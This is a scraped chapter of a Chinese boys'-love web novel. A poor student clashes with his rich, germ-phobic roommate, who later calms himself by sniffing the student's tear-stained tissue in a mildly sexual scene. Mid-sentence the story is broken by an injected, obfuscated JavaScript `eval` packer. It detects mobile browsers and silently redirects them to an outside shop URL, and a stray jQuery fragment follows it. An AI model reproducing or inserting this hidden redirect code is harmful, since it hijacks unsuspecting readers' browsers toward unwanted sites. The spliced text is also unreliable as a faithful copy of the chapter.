第4章
怕那讨厌鬼室友挑刺,程知渔绷着小脸将抹布狠狠搓洗了两三遍。
一边洗,他一边拼命压抑住上涌的泪意。
反正关着门,程知渔借着水流声的掩护小声嘀咕着骂人:“自大狂,没教养……装货!你牛呗,你有钱算你厉害死了呗,不说谢谢就算了,还侮辱人,你觉得自己很帅吗?”
其实他长得真的很一般!
都是穿搭给他加的分罢了!
如果程知渔也穿上一身名牌,脚踩一双A追,肯定比高行川更帅。
要知道花无百日红,像这种眼高于顶的富二代一定会把家产败光的!
到那时候,已经成为人生赢家的程知渔就把他家的公司收购!
再叫高行川跟他道歉,给他擦皮鞋!
“敢这样对我,我一定会让你后悔的!”
程知渔恶狠狠地瞪着抹布,像是把抹布当成高行川的脸皮那样狠狠蹂躏,瞪得滴溜圆的杏眼被方才那点泪液润湿,亮晶晶的。
可恶的有钱人,程知渔要诅咒他断子绝孙,这辈子都生不出程知渔这样聪明又可爱的宝宝!
这句话的杀伤力放在农村,称得上是最恶毒的诅咒了。
程知渔给自己脑补哄得差不多了,双手一拧抹布,再把多余的水珠往洗手台甩干净,推开门一看,寝室内空无一人。
富二代室友羞辱完他之后就不打一声招呼的扬长而去,程知渔忙活了半天,根本毫无意义。
程知渔怔在原地愣了三秒钟,倏地嘴唇一扁,生生被气哭了。
原来还有比侮辱人更让人难受的事,那就是被无视。
透明的眼泪先是慢慢在眼眶中汇聚,直到满得装不下了,纤长的睫毛轻颤,一大颗的泪珠就断线般崩落。
程知渔的伤心很安静。
有钱人哭,会得到安慰,糖果和拥抱。而穷人哭却什么也得不到,还会显得很可笑。
所以程知渔想哭的时候都会躲着人。
他用手背飞快地抹掉泪痕,默默地把自己的背包拿开,再把高行川的床沿仔仔细细擦拭了一遍。
“小气鬼喝凉水,搞脏了我给他擦擦不就行了吗?”
“一个大男人这么小气,以后肯定娶不到老婆。”
程知渔嘟嘟囔囔地把他的床擦干净,再把自己的行李收拾好,就坐下来给母亲打电话报平安。
在听见母亲问起他室友情况时,程知渔顿了一下,有些心虚地抠着座椅侧边儿的钉子,乖乖地垂着眼睛小声说:“室友?他……人挺好的呀。嗯嗯,好相处的。”
“当然啦!怎么可能有人会不喜欢我?我长得这么好看。”
方汶被儿子的话逗得轻轻笑起来,放心了些,叮嘱道:“那就好。你在外人生地不熟的,不要得罪人,平时和室友互帮互助,这样妈妈就放心了。”
“知道了,我今天一来就帮我室友铺床了呢。”
虽然他并没有领情,而且自己似乎已经把他得罪了……
说起来,那小气鬼室友竟一去不复返了。
不至于吧,不就碰了一下他的床吗,难道就嫌弃到不愿意回来睡?
程知渔细细回想,倏地想到高行川靠近自己时,他似乎嗅到了一丝不太明显的烟酒气息。
……高行川该不会是去蹦迪泡吧了吧?!
他就知道!男人有钱就变坏,这富二代果然是个不正经的花花公子!
程知渔更加坚定了不要与高行川结交的心。
忙活一通下来,天都黑完了。
程知渔后知后觉感到腹中饥饿,他揣上钱包,打算一探传说中的A大食堂伙食究竟如何。这个点,食堂应该也没多少人了吧。
还没出发,宿舍门就被人敲响了。
程知渔高声问道:“谁呀?”
“是我们。”
门外传来陈征的声音。
听见不是高行川,程知渔松了口气,连忙过去开门:“你们怎么来了呀?”
陈征笑着给他递来一个塑料袋,里面隐隐传出热乎乎的香气:“我们吃完了顺便给你打包了一份鸡腿饭,再晚食堂没好菜了。”
程知渔怔了一下,有些感动道:“谢谢你们,多少钱呀?”
“不用,你吃吧,我们回宿舍洗澡了。”孔式安摆摆手。
他俩看出程知渔的家境不太好,虽然觉得他性格似乎有些较真,不过都是一个班的同学,便稍微照顾一下对方。
程知渔却已经把钱包拿出来了,闻言很认真地说:“不行,要给的。”
小说里的主角都是这样的,人穷志不短,程知渔这种未来的霸道总裁,即使在穷小子阶段也不能受嗟来之食。
陈征有些尴尬地摸了摸脸颊,道:“好吧,十六块。”
他说着,眼神往屋里瞟了一眼,好奇道:“怎么没见你室友,他果然不住宿吗?”
程知渔取钱的手指一顿:“……”
他的心在滴血,隐隐有些后悔了。
不是吧,就一个破盒饭,居然要十六块钱,这鸡是吃金子长大的吗?
不过话都放出去了,程知渔只得强忍着心痛点了三张纸钞出来递给了他,还翻了个白眼,气冲冲道:“别提他了,他就是一个大傻逼!”
跟高行川一比,他眼前的这两位同学简直是天使。
两人吓了一跳,忙问怎么了。
程知渔瞪着眼睛,可算是找到大吐苦水的机会了,头发都气得快炸起来,大骂道:“他说我是个乡巴佬土包子,歧视我,嫌我脏,还说我身上臭烘烘的,其实他自己才是臭烘烘的,我家鸡圈的味道都比他身上的味道好闻!”
陈征大吃一惊:“什么,他真的这样说吗?”
土包子这个……呃,算了。
但后面说的确实太过分了吧,初次见面就这么对抗路吗?
程知渔气得脸都红了,脑海中自动生成了一段不存在的记忆,他煞有介事的点头:“是的!”
“怎么会闹成这样,你干了什么吗?”
程知渔瞪大了眼睛,被同学这怀疑的话语伤到了,在原地变成一个小喷菇,突突突一顿喷:“我什么都没干!我只是站在那里,他上来就欺负人!我都被他气哭了!”
“你看地上还有我擦眼泪的纸巾呢!”
“……咦,我纸巾呢?!”
程知渔低头去找自己被欺负的罪证,看了一圈都没找到。
邪门了,还有这种怪事。
“不知道跑哪儿去了,反正我是被气哭了,我说的是真的!”程知渔捏紧了拳头。
陈征怕他自己给自己气晕过去,连忙双手投降:“好好好,我相信你说的。你快吃饭吧,一会儿该凉了。”
程知渔委屈巴巴地再次谢过他们,又跟他们聊了一会儿。
第二天不上课,他们约定好带程知渔一起参观一下A大,再带程知渔办一下水卡什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730741|208556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。
吃过鸡腿饭,程知渔洗完衣服洗了澡,熄了灯,他舒舒服服地躺在了宿舍的床上。
鸡腿饭很好吃,腿很大个,宿舍的床很稳,怎么翻身也不会嘎吱嘎吱响,也没有人打扰他。
程知渔的坏心情一扫而空,终于有了点开启新生活的实感。
在宿舍的单人床上,程知渔睡了很香甜的一觉。
……
与之相反,高行川在别墅里度过了相当煎熬的一个夜晚。
从宿舍出来之后,离那神秘清幽的香气越远,高行川就愈发感到呼吸不畅。
但平时能让他短暂获得平静感的清洁、消毒工作突然失去了作用,那种像置身虫巢被千万种毒虫噬咬的幻觉又密密麻麻的爬上来了。
男人在外的英俊矜贵在丝毫不剩,此刻,他只是一个备受怪症操控的可怜虫。
高行川用大掌死死掐住抽疼的额角,像脱水的鱼一般大口喘息,手和脚都传来如同抽筋般的麻痹错觉,全身都在向他的大脑输送着缺少了什么的信号。
怀里空泛的让心脏都为之绞痛,他需要拥抱,需要一个能与他相贴的皮肤,好像必须有人死死抱住他才能消解一二这种濒死僵直的痛苦。
然而只要一想到不属于自身的气息靠近自己,高行川就立刻苍白着脸色无声干呕。
一分钟过得简直比一个世纪还要漫长。
刚洗过的澡又一次做了无用功,高行川已然出了一身冷汗。
完全没有吃饭的胃口,高行川在医生的指导下服用了两粒药物,但没有什么用,他在奢华舒适的大床上躺了很久也没有丝毫困意。
他麻木地盯着天花板,直到眼眶涩疼,他才忽而想起了什么。
男人下颌紧绷,僵持了半晌终是起身,带着一丝死马当成活马医的挣扎来到了浴室。
犹豫再三,高行川才终于弯下腰背在脏衣篓里翻找起来。
一般情况下,未清洗的脏衣服他是宁死也不肯碰的。
但现在……他管不了那么多了。
死了都比这样活着好。
男人动作急躁地从西服口袋里翻出那片皱巴巴的,纸质极差的普通手纸。
上面的泪痕已经干了,表面变得有些凹凸不平。
高行川硬着头皮瞪了这纸巾片刻,而后动作缓缓地,将这肮脏的、沾过地面尘土的纸巾凑到自己的鼻息下,轻轻地呼吸了一下。
上面淡得几乎闻不出来任何味道。
高行川情不自禁地将呼吸由轻转重,由浅转深。
渐渐地……等他回过神来,他已经完全将鼻子贴上了那块干掉的泪痕处,深深呼吸了一大口。
浅淡的香气仿佛带着伤心的咸涩,如甘霖般将男人几近发疯的情绪抚平。
高行川闭了闭眼,额角突突乱跳,他倏地睁开眼朝下望去。
真丝睡袍已凌乱散开了,结实流畅的腹肌随着急促紊乱的呼吸微微起伏,绳结松松地系在腰间,快崩溃的神经舒压后,给了身体长久被遏制的渴念得到救赎的错觉。
□*□
高行川:“……”
□*□
半晌,男人低低骂了一声。
……真是见鬼了。
他把话说早了,他想。
他得再去一次宿舍,问一问那个漂亮的小土包子到底用的是什么牌子的香氛用品。
那味道到底有什么特别的,怎么就能……这么好闻?